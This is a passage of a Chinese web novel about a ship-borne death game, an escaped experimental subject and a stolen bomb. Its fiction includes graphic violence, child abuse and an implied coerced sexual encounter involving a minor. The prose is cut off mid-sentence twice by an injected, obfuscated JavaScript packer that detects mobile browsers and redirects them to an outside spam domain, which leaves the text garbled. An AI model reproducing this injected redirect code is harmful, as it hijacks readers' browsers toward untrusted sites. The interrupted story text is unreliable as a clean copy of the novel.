发现易没有跟上来,他转头盯了易几秒,了悟了什么,走过去,把易背起来,有点惊讶道:“看你瘦瘦弱弱,没想到还挺重。” 易勾住他肩膀,微弱地挣扎了一下。 “你干什么?” 说着易有点重的沈言,背着人跑步的速度没有丝毫渐缓。 在穿梭的、带着血腥味的风中,传来沈言含着笑意的声音: “带你做你想做的事。”沈言往上托了一下易,温和道:“抱紧,怕的话可以闭眼。” 易在短暂的沉默后,放松,抱紧。 贴着沈言后背的胸腔内盛放着的心脏,飞快地跳动。 扑通扑通扑通…… - 全场观众看着沈言背着易一边打怪一边往三号柱的方向移动。 尚泽啧啧两声,看向已经关闭终端,在小吧台坐着,正端着一杯平平无奇的酒端详的阮知闲。 恶劣的心顿起,尚泽特意把影像推到他眼前,让他近距离地看沈言和易的互动。 易去爬梯子,沈言在下面帮他打怪物。 画面十分和谐。 “阮知闲,他们两个好默契,明明今天之前不过是陌生人,现在却敢把后背交给彼此,你说这是为什么?” 尚泽给自己逗笑了,“一见钟情?你猜有没有这种可能。” 阮知闲眉眼间带着很容易看懂的烦躁,“闭嘴。” 被凶了的尚泽笑得更开心,心里也踏实许多,笑嘻嘻地凑过去。 “赛后我把他买下来,还能处理掉他的公民身份,你可以把他关在家里,好好教一教,让他一辈子都离不开你。” 尚泽经常做这种事,信手拈来地引诱阮知闲,“别说跟别的男人一见钟情了,以后领出去,走在外面,只敢紧紧贴着你,和别人说话都磕磕巴巴——怎么样?” 阮知闲想到什么,笑了下,“不用。” “哦?好吧。”尚泽假装遗憾地叹了口气,“难得我有乐于助人的时候。” 阮知闲:“只是乐于助人?” “和聪明人说话就是舒服。” 尚泽兜了一大圈,目的其实只有一个。 “我没想到拉尔特他竟敢跑到十三区去……”尚泽笑容收敛,眸色微暗,“你能帮我找到他吗?” 阮知闲点点头。 啪! 一声脆响! 在包厢内,说不上话也完全没有任何存在感的秃头猛地一拍自己的秃头,不可置信地大叫: “沈言死了!” 阮知闲瞳孔紧缩,僵硬地看向直播。 距离比赛结束还有两分钟,场地内的怪物已经被易的小队完全清理干净。 在这生的时刻,喧哗热闹的斗兽场,像死了一样安静。 沈言被易抱在怀里,面目全非。 身体浮肿,青紫色的斑点在他身上蔓延开来,易扒开他的眼皮,眼球密密麻麻的都是黑色的丝。 不远处是一条被斩断的蛇尸。 蛇是正常大小,会根据周围的环境进行拟态,改变自己本身的颜色。 它不知道从什么时候,埋伏在阵地周围,直到比赛结束,才突然出现,猛地朝易弹射过去。 而比蛇更快的,是沈言。 在沈言被咬到的瞬间,就有人将漏网之蛇直接砍死。 但这条蛇,看似平平无奇,甚至连自己本身的花纹都并不鲜艳,但它确实有剧毒。 沈言的身体立刻有了变化,先是吐血,后来是慢慢爬上脸颊的血管纹路,最后是骇人的浮肿和青紫色色斑。 在这变换的过程中,无数观众骂人,疯狂给公众号发消息,让他们立刻派医生下去救人。 比赛还没结束,官方置之不理,他们只能自救。 易把所有药剂,都注射给沈言。 解毒剂的功效大过毒,可以立刻生效,这样的话,成功的概率会高很多。 但沈言还是死了。 他躺在易的怀抱里,易紧紧盯着沈言,瞳孔震颤,脑海里反复闪过沈言扑过来抱住他的画面。 完全不馨香的气息,完全不温柔的怀抱,完全不合适的场合—— 化名为易的在逃诈骗犯法尔森,眼角留下一滴真实的泪,嘴唇微动,只有他和尸体能听见的喃喃: “妈、妈……” - 回收工心情很好。 今天死的人够多,而且有很多还是他之前在船上见过的。 这些傲慢的人压根不把他当人看,呼来喝去。 哈哈,还不是死了? 尸体太多,垒成一摞摞,被机器人清理好送到回收点,再由他们分门别类地进行回收。 机械化程度太高的不要,就剩半边身子的不要,打了太多药的…… 这个得要。 场上的药剂都是他们实验室刻意放出去的试验品,不自信或不知情的购买者买完打在身上,研究员就能观察到这些药剂各种药效了。 所以尸体也很有研究价值。 但那些都是和实验员相关的,他一个普通的回收工,压根捞不着油水。 这个工作,唯一值得安慰的,只有一个。 回收工四处看了看,把这一批尸体拉到没有监控的位置后,深吸一口气,爬了上去。 最上面,是一个完整的尸体。 他碰了碰那具尸体的脸。 浮肿已经散掉了,但青紫色的毒斑还在,让这张好看的脸减了不少分。 但他完全不介意,他太喜欢这个人了。 喜欢他在场上一脚踩爆怪物的头,喜欢他和队友开玩笑时的顽劣,喜欢…… 太多了。 活着接触不到,死了也可以。 他低头,想象着浪漫的样子,深情地说: “哦宝贝儿,等我,我呃——” 被捅了一刀的回收工惊愕地睁开眼,本该是尸体的青年,和他对视。 “你——” 沈言没什么表情地又补了一刀。 回收工抽搐着倒了下去。 沈言等了几秒,把回收工推开,扒掉他的衣服,穿好。 有点紧,但是问题不大。 他从回收工的兜里掏出一个新口罩,带好。 然后拉着这一车尸体,往实验室去。 12.老公 女人点起一根烟。 在她脚边,匍匐着一只呛了水,咳得肺都快吐出来的少年。 他长得很漂亮,就算被人按在冰水里窒息,再拽着头发把头提出来,那张脸也没有丝毫狼狈。 水珠滚下他湿漉漉的眼睫,鼻尖眼尾和唇瓣被冰水冻得发红,抬眼望过去时,浓密纤长的黑色眼睫颤了颤,抬起,是一双灰蓝色的眸。 他直勾勾地盯着女人,唇角快乐地勾起,藏在清冷皮囊下的艳气,丝丝缕缕地溢了出来。 像是擅长魅惑勾引,又以人心脏为食的水鬼。 他爬过去,抱住女人的腿,眷恋地蹭她。 “妈妈,我今天的表现不好吗?” “没关系,没关系,都是我的错,我一定会改的。” “妈妈……不要不理我……” 女人险恶地一脚踹开他,夹着烟的手一指,得令的保镖又把他拖过来,拽着他的头往冰盆里按。 这一次按的久了点,挣扎的动作变得微弱,直至消失。 女人把视线转开,又等了几秒,这才淡淡开口:“救他。” 法尔森被打了一针,几乎没有起伏的胸膛猛地震了几下,少年翻身跪趴在地,吐了很多水。 吐完又笑,笑嘻嘻地扯过旁边保镖的衣角擦干净脸,不依不饶地靠近女人,“为什么心软?为什么不杀我?” “妈妈,你爱我。” 被法尔森称为“妈妈”的现任环保部部长雅米抬手,烟灰蓄了一节,停在半空。 法尔森听话地把手掌放在烟头底下,雅米将烟捻灭在他掌心,高温灼烧时,法尔森脸上没有丝毫痛苦,反而愉悦、讨好地笑了起来。 雅米相信,如果不是她不许他做出太出格的行为,法尔森很可能会把烟头都吃下去。 雅米皱眉。 恶心的下流东西。 如果不是他还有用,她不可能留他三个月这么久。 雅米挥退保镖们,房间里只留下她和法尔森。 此时已是凌晨,雅米走到窗边望着黑沉沉的海面,玻璃窗倒映着她那张温暖亲和的脸。 上面悄悄下的指令,要她跟着船时刻关注船上的交易情况。 这种麻烦事甩到她身上,多半是那帮居心不良的狗屎东西给她设的局,因为长了一张没什么攻击力的脸就一直被人惦记着,就算不能真吃上,也多少要揩点油。 她倒是不太介意这种事,在她这个阶级做点你情我愿的小交易完全没有问题,但那帮人实在太抠,对她的竞升没有屁用。 雅米看着玻璃,视线落在不远处,正定定望着她的法尔森身上,心情更加烦躁。 脑子不好的变态,缺爱又扭曲的精神病。 脸上的表情却变得温和,她向法尔森招招手,法尔森便乖乖地走了过来。 他按照雅米教他的姿势,跪好,仰着头看她,双手背到后面,表情无辜又可怜。 雅米碰了碰他被人打青的脸蛋,怜悯道:“妈妈只是太生气了,很痛吧?抱歉,法尔森可以原谅妈妈吗?” “是我先犯错,不该违背妈妈的意愿,偷偷上船。”法尔森乖顺道:“对不起。” 雅米指尖掠过他被冻红的耳尖,轻轻碰了碰。 “你今天的表现很好,我有一个朋友很想认识你,他在672,等下换身好看点的衣服,去找他。” 法尔森疑惑道:“是白日梦的股东?他也要杀?” 雅米皱眉,给了法尔森一巴掌,声音骤然冷沉:“别装傻,你会不知道我什么意思吗?” 法尔森柔弱地倒在一边,捂着脸小声说:“可是,我还没成年,您之前从来不……” 雅米笑出声,半蹲下来又特别温柔地摸了摸他的脸,手是暖的,语气也是和缓的: “你不愿意做的话,就去死吧。” 法尔森沉默,雅米欣赏似地观察他脸上的表情,试图从他的脸上找到些有意思的痛苦。 没有。 雅米意兴阑珊地起身。 法尔森揉了下眼睛,突然问道:“妈妈,你爱我吗?” 雅米敷衍道:“当然爱啦。” 法尔森张开双手,“那抱抱我吧。” 他身上都是水,即使刚洗过澡,气味很干净,雅米也不想碰他。 雅米后退两步,转身,摆摆手:“明天再说,我今天很累了。” 一道带着冷意的气息突然逼近,脖子上传来剧痛,雅米猛地瞪大眼睛。 她扒着法尔森的手,所有呼救声都被堵回嗓子里,法尔森把小刀往雅米脖子里捅深了几寸,直到她失去生命体征,才松手停下。 法尔森松手,叹了口气,嘟嘟囔囔道:“第五个……总是这样,讨厌。” 他拖着雅米的尸体,把她放进浴缸,合上了她的眼睛后,又从她的衣柜里找了件衣服,去敲672的门。 一只粗糙的手把他拉进房间。 几分钟后,法尔森穿着干净的男装出来,走到船的尽头,观察玻璃面上自己的影子。 发型OK,表情OK,衣服有点大,勉强OK。 他别过头嗅了嗅自己身上的气味。 刚刚弄出来的血腥气散得一干二净,此刻的他干净清爽。 非常完美。 即便他的新妈妈已经死了,看不见,他也不能随随便便糊弄过去。 说不定会有灵魂,说不定灵魂在看。 想到那个奋不顾身,将他搂进怀里,为了他而死的青年,法尔森忍不住笑。 真是很温暖的怀抱呢。 他还想再体验一下。 - 顺利完成假死计划,混入实验室的沈言,打了个喷嚏。 实验室的确冷,为了渐缓尸体腐臭速度,温度一直在十五度上下。 还好这些工作日记就要看完了。 沈言加快翻阅的速度,试图把这些东西和作者写的对上号。 人体改造、基因重置……残次品H762号。 沈言把关于H762号的资料抽出来细看。 H762,本名瓦伦·卢森德,二十岁,三年前在第七区的联邦联合学校就读,经过选拔成为普通人类提升计划中的一员。 和他同一批的志愿者都已经死了,而他的精神状态也在整整三年的实验中变得极其不稳定。 最近的一次测试结束后,他突然失控暴起伤人,让当时收容他的试验所损失惨重。 资助试验所的商人很不满意,确定他是没可能再产出价值的残次品后,把人直接转手给了这次轮船聚会的主办方。 船上临时实验室的安置,一半是为了观察那些动物形态怪物的表现、合理收集人类素材进行研究,另一半则是为了控制瓦伦。 白天刚上船时,瓦伦没有醒来的迹象,一切平稳运行。 但在晚上九点半左右,受到未知原因的影响,瓦伦睁开眼睛,并开始试图破坏收容器材。 打了比平时多三倍的催眠剂,才勉强让他重新陷入休眠。 后面关于能力、状态等细致的内容,沈言没继续看,把材料往自己终端里拷了一份后,起身伸了个懒腰。 角落里,被他堵住嘴巴的两个守夜的研究员,畏惧惊恐地望着他。 沈言凑过去,蹲下来,和善道:“怕什么?我只是有点好奇这些尸体的去处,顺路过来看。” 他把枪拿出来,好声好气地和他们商量:“我等下可以放开你们,你们带我去找瓦伦,这个交易怎么样?同意点点头。” 压根不是选择。 两个研究员互相对视一眼,怯怯地点了点头。 沈言先把枪上膛,对着二人,解开他们身上的束缚带。 枪口在两人之间晃了晃,“你叫一,你叫二,乖乖听话,我今天杀生有点多,不想在生死债上再添一笔,懂?” 两人顿了一下,然后疯狂点头。 沈言看他俩吓得瑟瑟发抖,一边感慨自己真的很有表演方面的天赋,一边继续扬起非常不合时宜的、灿烂的笑容。 “为什么不说话?”沈言把枪收起来,苦恼地挠了挠头,“我已经跟你们说了很多字了,按照正常流程,你们现在应该和我当朋友。” 研究员一眼里的无语和诧异都快冒出来了,对于小命的珍惜让他没破口大骂。 ——谁会把一个一见面就酷酷电人,之后还拿枪抵着自己的匪徒当朋友! 研究员二要更圆滑一点,勉强扯起一个笑容,“当然,friend,哈哈。” 沈言也笑,不顾研究员二僵硬如石头似的身体,倾身和他拥抱。 沈言拍了拍那两个研究员的肩膀,起身四处看了看,解开柜子的密码锁,换上一套研究员的、比较合身的衣服。 他先让那两个研究员出去,手无缚鸡之力,只进行了精神方面改造的研究员,不敢轻举妄动,只能看着匪徒在实验室里乱动。 他先是在操作台上点了点,而后打开自己的终端和别人发消息,还照了相。 最后把那些珍贵的、纸质材料乱七八糟地堆在一起,退到屋子外面,点燃、关门。 研究员一和研究员二交换了个放心的眼神。 实验室内有触火报警系统,匪徒粗心大意忘记这点,等警报传出去,他们就能脱困了。 沈言从后面挎着二人,哥俩好地说: “放心,我让朋友帮忙切断了监控和火警警报,不会有人耽误我们几个的相处,关于那个实验体,我还有好多事情需要你们帮我呢。” 研究员缓缓闭上眼睛。 悬着的心彻底死了。 - 从实验室往怪物安置处的路线,和从船上走不一样。 之前被工作人员带领,沈言走了能有十几分钟,而实验室旁边则更快一点。 主要是有电梯。 今天晚上的淘汰赛过后,中间放置怪物的笼子空了很多。 沈言目标明确,没管另外那两区的怪物,直接走到棺材边上。 之前只是大概扫了一眼,只知道棺材是不透光的金属材质,走近以后才发现,原来它的正上方,是能看见里面的人的。 躺在棺材形状的收容器中的青年身材高大,四肢都被流动的液体牢牢束缚,脸也被青绿色液体包裹,细密的、面膜般的一层,鼻梁高挺,唇有些薄。 沈言看向研究员:“打开。” 研究员惊悚道:“不行!你要是非要打开,那还不如杀了我们!” 另一个说:“你应该也看到那些资料了吧,他现在状态不稳定,我们勉强才让他陷入休眠,要是就这么放出来,我们都会死的!” 沈言掏枪:“打开。” 他们俩是真怕,死活都不同意,沈言沉着脸又狠狠威胁了两句,把他们两个都说哭了,也没让他们松口。 最后研究员崩溃道:“你杀了我吧!” 沈言定定地看了他几秒,突然笑了,把枪随手揣回去,握着满脸莫名的两个研究员的手,晃了晃。 “我是七区玫瑰研究所的副所长,这次过来是为了考察研究人员能否在高压情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13845363|146294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下仍然恪尽职守,恭喜,你们成功通过考验。” “现在,我想邀请你们加入我,成为本次特别研究活动的一员。” 研究员:??? 两人没一个信的,甚至觉得自己智商受到了侮辱。 这艘轮船的研究员,来自十三到七区的各个研究所,其中最大的是七区玫瑰研究所。 七区以下的大部分科研项目都由玫瑰研究所派发,研究所所长的身份不比十三区的区长低。 它直接隶属一区伊甸,汇集七区以下所有精锐人才,是科研圣地,也是大部分研究员们挤破脑袋往里进的存在。 研究所的所长和副所长都很神秘,没在外面露过面,矜贵骄傲,怎么可能像这个劫匪一样? 真把他们当成傻子了吗! 沈言像是没注意到那两人鄙夷愤恨的目光,挺直脊背,放松表情,刚刚那股邪劲儿陡然一转,变得沉稳可靠,手指很稳地放大终端屏幕,让他们看。 玫瑰研究所的官网,页面铺底是一朵盛放的玫瑰,沈言当着他们的面登录。 没过几秒,页面跳转,沈言点开信息界面,右上角是他的大头照,左边是他的基本情况。 在职位那一栏,清清楚楚地写着“副所长”三个大字。 众所周知,网站和视频都造不了假,沈言把终端页面送到两人面前,任由他们在上面点来点去,确认真实性。 ——但愿布雷兹动作够快,能在十分钟内黑进玫瑰研究所,并完整复刻他们的网站。 沈言看着他们动作,因为慌到极致,反而有种无所谓的坦然。 他贯彻随机应变策略,知道这就是珍珠八号后,沈言脑海里就有了个大概的行动框架和目标。 其中最根本的,就是破坏阮知闲的炸船计划。 这条优先级排在最前,他的所有行动都是为了这个服务。 船在七天后会停在七区港口,在船的最后一层,藏了数万吨的军火。 而阮知闲知道这个消息,在船开之前,就已经往里面放入了引信炸弹。 第七天,他按下开关,炸弹爆炸,军火也受到牵连,海面上的庞然大物就会失去正常航行的能力,沉没只需要十几分钟。 而救援队也会在那时候赶过来,最终剩下一百来个幸存者。 沈言有冒险精神,有时候愿意赌上一把,但这种存活率在百分之一以内的事,倒也没有赌的必要。 想要阻止阮知闲,就得拿走引信炸弹。 炸弹在军火库里,而军火库的重要等级,比实验室要高得多得多得多。 想要进入,至少需要一个一级指令。 而这个一级指令的怀有者,原书中没有出场。 但读者们通过细枝末节猜测,他在上船的第一天,很可能就已经被阮知闲杀害了。 而消息之所以没有传出去,就是因为阮知闲利用了这些政客、商人间复杂的关系链,让他们互相猜忌,不敢乱传。 所以沈言只能另寻他法。 比如暴力破关。 沈言的目光,越过那两个激动起来的研究员,落在不远处的棺材上面。 到了后期,已经突破人类生理极限,甚至可以手撕大楼的真正怪物,就躺在这里。 开个大门,对他来说,绰绰有余。 沈言将目光收回,对那两个研究员说:“为了防止计划泄露,我与其他几个行动者,准备在船上寻找可用的人才,而你们——” 那两个研究员已经被伪造的网站说服了,肩负重任的责任感让他们眼神都变得坚定起来,他们迎着沈言的目光,骄傲地挺起胸膛。 沈言严肃地继续道:“你们在刚刚的考验中,表现出优秀研究员该有的品行和素质,面对穷凶极恶的歹徒,你们没有服输,坚守了自己的底线,我很欣慰。” 研究员稍微有点心虚,毕竟他们也只是怕死,但竞升的机会就在眼前,他们也用不着拆这个台。 在沈言这个年轻副所长欣赏的目光下,被忽悠瘸了的两人,向他传交了怪物储备屋的权限。 沈言点点头,“放心,这位实验体也与我本次任务有关,但保密级别较高,抱歉,我无法向你们坦白放他出来的原因。” 研究员连忙道:“完全没关系,所长!” 沈言宽容道:“我会控制好他的行为,你们可以暂时离开,等我回去,我会联系你们。” “是!” 两个研究员胆战心惊地来,快快乐乐地离开。 沈言目送他们远去后,不紧不慢地走到金属棺材旁边。 他操纵终端,下达指令。 环绕着棺材的机器,发出滴滴的响声,链接着棺材的管子和线,纷纷脱落,缩回机器内。 包容器内部的绿色粘液也渐渐褪去,沉睡的男人,睁开双眼。 流动变换的岩浆在他眸中凝固,最终形成了和他的发色一样的,枯槁、干涸,死气沉沉的红。 收容器的盖子正在下滑,速度很慢,他皱眉,直接伸手把它推开。 电路紊乱,收容器发出噼里啪啦的声音,跃动的电弧,映在男人眼底。 他转头,看向沈言。 沈言猛地扑上去,抱住他。 瓦伦没动,他敏锐地嗅到了这个人的弱小,没有任何攻击性,也无需过度防备。 他把手放在沈言的后颈。 沈言声泪俱下、感情丰沛,带着哭腔道: “老公!你不记得我了吗!!!” 能够轻易捏碎人类脊椎的手,顿住了。 13.亲吻 阮知闲手底下的这三个人,只有布雷兹的脑回路还算正常。 其他那两个,都是精神病中的佼佼者。 恋母癖法尔森对于妈妈的定义很宽泛。 只要某个瞬间,或是某个行为,让他感受到了他所认为的母性的光辉,他就会毫不犹豫地将那个人或物奉为自己崇高的母亲,并愿意为其驱使。 而被他当成母亲的人就很可怜了。 法尔森表面上装成听妈妈话的乖乖仔,被打被骂被利用也甘之如饴,看上去很好欺负似的。 可一旦他进行第二次判断,认为那人失去了做母亲的资格,被他盯上的目标,就会毫不留情地被杀死。 比起他,瓦伦要简单很多。 他只想处对象。 ——和那个不存在的,臆想的恋人。 - 沈言紧紧地抱着瓦伦,清浅的呼吸撒在瓦伦耳侧,激动地小声叙述对他的爱: “老公,看到你还活着,我真的好高兴。” 瓦伦指尖动了动,下意识地摩挲,碰到的是温暖的皮肤。 “你管我叫,”他语气有些奇怪:“老公?” 沈言浑身一震,缓慢地从他颈窝里抬头,眼圈微红,眼睫湿漉漉的,一眨眼,便有豆大的泪珠子砸下去,掉在瓦伦的手上。 热的。 瓦伦也被那滴泪弄得心情有些诡异。 他觉得他的爱人应该是女性,或者有女性特征的人。 而现在,抱着他的这个男的,管他叫老公? 倒不是很排斥,因为他能清楚地感知到这人强烈的情绪。 他非常爱他。 而自己……不记得了。 瓦伦没有掩饰情绪,脸上明明白白地写着疏远和不解。 沈言怔怔地看了他一会,勉强笑了笑,往后退,和他拉开距离。 “没什么,我的错,是我来得太晚了。” 沈言用力拭去眼泪,把他带来的研究员的衣服递给瓦伦,“你我之间的事等下再说,老公,不,瓦伦,你穿上这个,我们先走。” 瓦伦接过衣服,有些生疏地往身上穿。 催眠药剂和为了遏制他而往身体里注入的各种毒素,让他需要至少半个小时才能恢复到正常状态。 瓦伦眼中闪过一丝冷光,被抑制的狂躁和破坏欲,随着他肉.体的醒来,也在缓慢苏醒。 脑海中不断闪过自己在研究所的生活,尖锐的刀锋划开他的身体,血液顺着输液管从他的身体汩汩流出,一个个穿着白大褂的人低声交谈,他的所有痛苦都成为数字、符号,被录入系统中。 在他们眼中,他已经丧失人类身份,不过是与鸡鸭鱼狗并无分别的实验品,亦是他们拿来讨好资方的工具。 那就杀了他们。 杀了所有人。 以怪物的身份。 啵唧。 脸颊突然一热,温软的气息一闪而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13856550|146294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逝,瓦伦猛地转头,看向沈言。 沈言别过头,脸颊漫上红晕,飞快地抬眼扫了眼下瓦伦,顿了顿,又缓缓将目光收了回去。 沉默几秒,沈言带着几分落寞道:“我知道现在对你而言我只是陌生人,以后我会尽量控制,抱歉。” 说完,又找出一块手帕,小心翼翼地递给他。 “擦擦。” 瓦伦盯着洁白如新的手帕看了几秒,又将视线放回沈言身上。 “不用。” 沈言一愣。 瓦伦把沈言拽进怀里,低哑的声音在沈言头顶响起。 “你是我的爱人,你有亲吻我的权利。”瓦伦莫名笑了下,“或者更多。” 沈言忍着愧疚又叫了两声老公。 然后哄着他来到军火库,看他轻而易举地破坏安检,干晕安保,随手撕了大门。 而后按照他的指示,从军火库里找出巴掌大的引信炸弹。 沈言把引信炸弹揣兜,望向瓦伦,满眼都是爱意。 而瓦伦也对自己这个素未蒙面的爱人适应良好,把沈言搂过来,亲了亲他的额角。 沈言的目光在那扇报废的大门上一掠而过。 好可怕的破坏力,阮知闲就算不用炸弹,光瓦伦一个,半天时间,就能把这船给干沉。 沈言安详闭目。 对不起啊大兄弟。 其实你没有老婆这件事,得过一段时间再告诉你了。 14.混乱 “是我追你。” “第一次见你是在校内的军事竞赛,沙漠地图,到了最后别的学生都放弃了,只有你还在坚持,你盯着那面旗帜眼底全是对胜利的欲望,你身上好像燃烧着熊熊烈火,那光能将我的眼睛灼伤,但我根本无法将目光移开,哪怕分毫。” 在轮船甲板下的第二层和第一层之间,被船长人为多拓出一层,极狭窄细矮,空气中散布着浅淡的霉味,这是花了大价钱才上船的偷渡者休息的地方。 沈言和瓦伦,一个死人一个实验室在逃实验体,目前是不好出现在甲板上面的。 更何况沈言把瓦伦放了出来,不仅实验室的人惶惶不安,得知这个消息的权贵也恨不得当场从船上跑路。 上面应该乱成一锅粥了吧。 出了这么大变故,贪生怕死的权贵们估计今天就会向外联络,等救援队一到,人群疏散,阮知闲是不可能再玩他的人性游戏了。 剧情中的关键点,一个是瓦伦,一个是炸弹。 前者的消失让斗兽场可能开不下去,也让阮知闲失去了和他认识的机会,船上由瓦伦带来的骚乱也不会出现。 后者则让阮知闲在船上的游戏没办法完美收尾。 他这种犯罪者多少有点强迫症,一场“游戏”要有开端发展高潮结局,所有形式都该在他的掌控之中,而其中任何会破坏他计划的事都是不被接受,需要修正调整的。 现在沈言开天眼破坏他的计划,不知道阮知闲怎么想。 生气?还是愉悦? 不知道。 可能都没有吧,毕竟阮知闲是那种比较诡异的变态。 揽着沈言的瓦伦,察觉到他的走神,以为他的男朋友沉浸在两人甜蜜的恋爱回忆中,忍不住把人搂得更紧一些。 “继续。” 沈言回神,漫不经心地抓着瓦伦的大手摆弄。 瓦伦的手上有茧,在这个社会通往上层最迅速的手段就是参军,而瓦伦在参与实验之前也一直为这个方向奋斗,本身身体素质就很不错。 沈言是一个健康的成年男性,但瓦伦这个超级双开门能卡着他的嘎叽窝直接把他提起来。 所以他的身份不能是战斗人员。 沈言继续编:“我在军校进修的是联邦语言文学专业,回去以后我立刻找人要了你的联系方式,但你不喜欢男人,对我总是爱搭不理,我写给你的情书你压根不查收。” “我去你学校找你,你让我滚,说看见我就恶心,说不喜欢我这种没有用的废物。” 说到这,沈言又怨又气地瞪了瓦伦一眼。 “对不起。”瓦伦笑,从胸膛里带出的震动很低沉,“但你还是爱我。” 沈言叹了口气,又甜蜜地勾起嘴角,仰头去亲他下巴,飞快的一个吻后,又重新缩回他怀里。 瓦伦又笑:“然后呢?” 沈言不太熟练地扮演娇妻,想着他看过的那些谈情说爱的小说,笑眯眯地说: “我难过了一段时间,想要忘记你,然而无论白天还是黑夜我脑海里总会浮现你那双倔强不甘的眼睛……我忘不掉,反而要把自己弄得疯魔。” “导师和我关系不错,看我状态不好,把外派指导的名额留给了我,我进入你的学校当你的老师,然后就……”沈言顿了一下,“反正经过这样那样的事,我们睡了。” 瓦伦听出来沈言的未尽之意。 他不可能突然对讨厌的人温声软语,更别说上床,所以沈言很有可能采取了一些强硬的、见不得人的手段,让他不得不和他在一起。 自己没当时就把他撕了,沈言能好好活到现在还来救他,则说明他对这段关系也并非全然的不情愿。 这就是爱情。 复杂、变化、摸不着头脑,又如此让人着迷。 瓦伦认真分析沈言故事里的自己,手撩开沈言的衣服下摆钻进去,沈言很放松,肌肉都是软的,手感很好。 但他太瘦弱了,自己的一只手就遮住了他大半腰腹,不敢想他当时是下了怎样的决心,又是如何吃掉的自己。 沈言有想过编到这里时瓦伦的反应,瓦伦比他想象中要好很多,只是摸两下没有要和他做的意思。 但作为一个笨蛋娇妻,沈言不能表现出游刃有余的样子,他应该时刻渴望着瓦伦,瓦伦的任何施加在他身上的举动,都能引起巨大的海啸。 沈言克制地喘了几声,按着瓦伦的手小幅度摇头,“……不行,等回去。” 嘴上这么说,但看瓦伦的那双眼睛藏着钩子,分明地写着继续。 他需要他。 瓦伦心情微妙,某种不断膨胀的情感有如实质,各种感官不断清晰,舌尖莫名泛着甜意。 他有些坏心眼地把手收了回去,看沈言愣了一下,旋即低落地垂下眼睛,毛茸茸的脑袋蹭了蹭他的胳膊,小声说:“你从前不会这么听话的。” 不知想到什么,他爱人的脸慢慢涨红,抬眸看他,眼神闪烁,“真要等回去吗?” 瓦伦屏住呼吸,脑袋一片空白,心脏的跳动似乎也随之停止。 他猛地翻身,把沈言压在身下,过分狭窄的空间和并不牢固的铁皮发出不堪重负的嘎吱声。 沈言安静地望着他,两人在炙热的空气中对视几秒,奇怪的氛围蔓延,他的爱人抿着唇笑了笑,缓慢地闭上了眼睛。 但他并没有等来那个吻。 瓦伦再一翻身,从勉强能称为床的铁皮子上跳下去,火急火燎地出了门,只匆匆地撂下一句“我去找点吃的,等会回来。” 躺在床上的沈言,确定瓦伦真的离开后,猛地倒吸一口凉气。 沈言满脸惊恐,捂着胸口惊魂未定。 卧槽! 瓦伦的身体改造把那什么玩意也改了? 太离谱了! 沈言本来打算等下了船再随便找个借口和瓦伦分道扬镳,但现在他有点抗不住了。 船内环境不好,瓦伦大概率不会和他做,但如果就这么演下去,做不做的还真说不好。 也怪他,有时候演上头了没有分寸,一不小心就容易翻车。 引信炸弹已经到手,呆在瓦伦身边只会更加危险,现在瓦伦不在,正是绝佳的离开的机会。 走!立刻走! 沈言揣着引信炸弹,开门左右看了看。 整个通道逼仄阴沉,咳嗽声音稍微大一点,周围的人就都能听到。 三个小时前这里还很热闹,但现在恍如坟地。 甲板上传来踢踢踏踏警卫队的脚步声,有消息说外面死了人,轮船的警备加强,正在排查登船的所有人。 他们这些偷渡者们战战兢兢,躺床上都不敢翻身,生怕查到他们头上,一枪结束他们的性命。 十三区往上通的每一区都有壁,必须要足够的手续和通行证才能合法进入,对于四等、五等公民来说,手续繁琐且要求太高,正常渠道根本走不了。 只能偷渡。 偏偏这方面又抓得很严,警卫队有权利当场处死偷渡者。 沈言不偷渡。 沈言现在是个死人,是黑户,比起警卫队,他更忌惮瓦伦。 通道两边都能走,沈言脱了鞋子,选了个和瓦伦相反的方向离开。 与此同时。 “还没找到凶手吗?” “抱歉,恐怕还要一段时间。” “知道了。” 刘丹拧着眉头,双手插兜,垂眸凝视躺在浴缸中的女人。 雅米的意识在七区有备份,死倒是没死,只是丢人。 她是联邦系统内部的高职位工作人员,杀了她就等于挑战整个整个国家机器的权威,这是控制它们的资本绝对不愿意看到的情况。 保护他们的保镖,如果是个人都能上来踩一脚,他们晚上还怎么睡觉? 雅米给刘丹下达了硬性指令,让她在轮船抵达之前,无论如何也要找到那个可恶的杀人犯。 警备队取证结束后,刘丹让人把雅米的身体存好,点起一根烟,去了监控室。 为了照顾SVIP的隐私,所有顶层房间都没有摄像头,录像只显示那个白发未成年出了房间后的行动轨迹。 离开顶层后先去了斗兽场的备战区,找还在打扫的工作人员说了几句话后,就被他带到更下一层的回收区。 下面十分混乱,实验室大火把重要的、还未备份的纸质资料烧了个一干二净,长廊来来往往很多人,所有人脸上都挂着“完蛋了”的表情。 嫌疑人趁着混乱悄悄进入联通实验室的回收处,回收处的尸体很多,他嫌弃地皱眉往后退,停在门口往里看,不知道在找什么。 一分钟后,他似乎确定了这里没有他要找的东西,失魂落魄地开门离开。 再之后,他去了甲板,靠着栏杆望着黑漆漆的海,突兀地笑笑,纵身跳了下去。 给刘丹看出了痛苦面具。 画面没有声音,嫌疑人的行动非常离奇,比她奶的梦话还诡异。 不知道还以为他鬼上身。 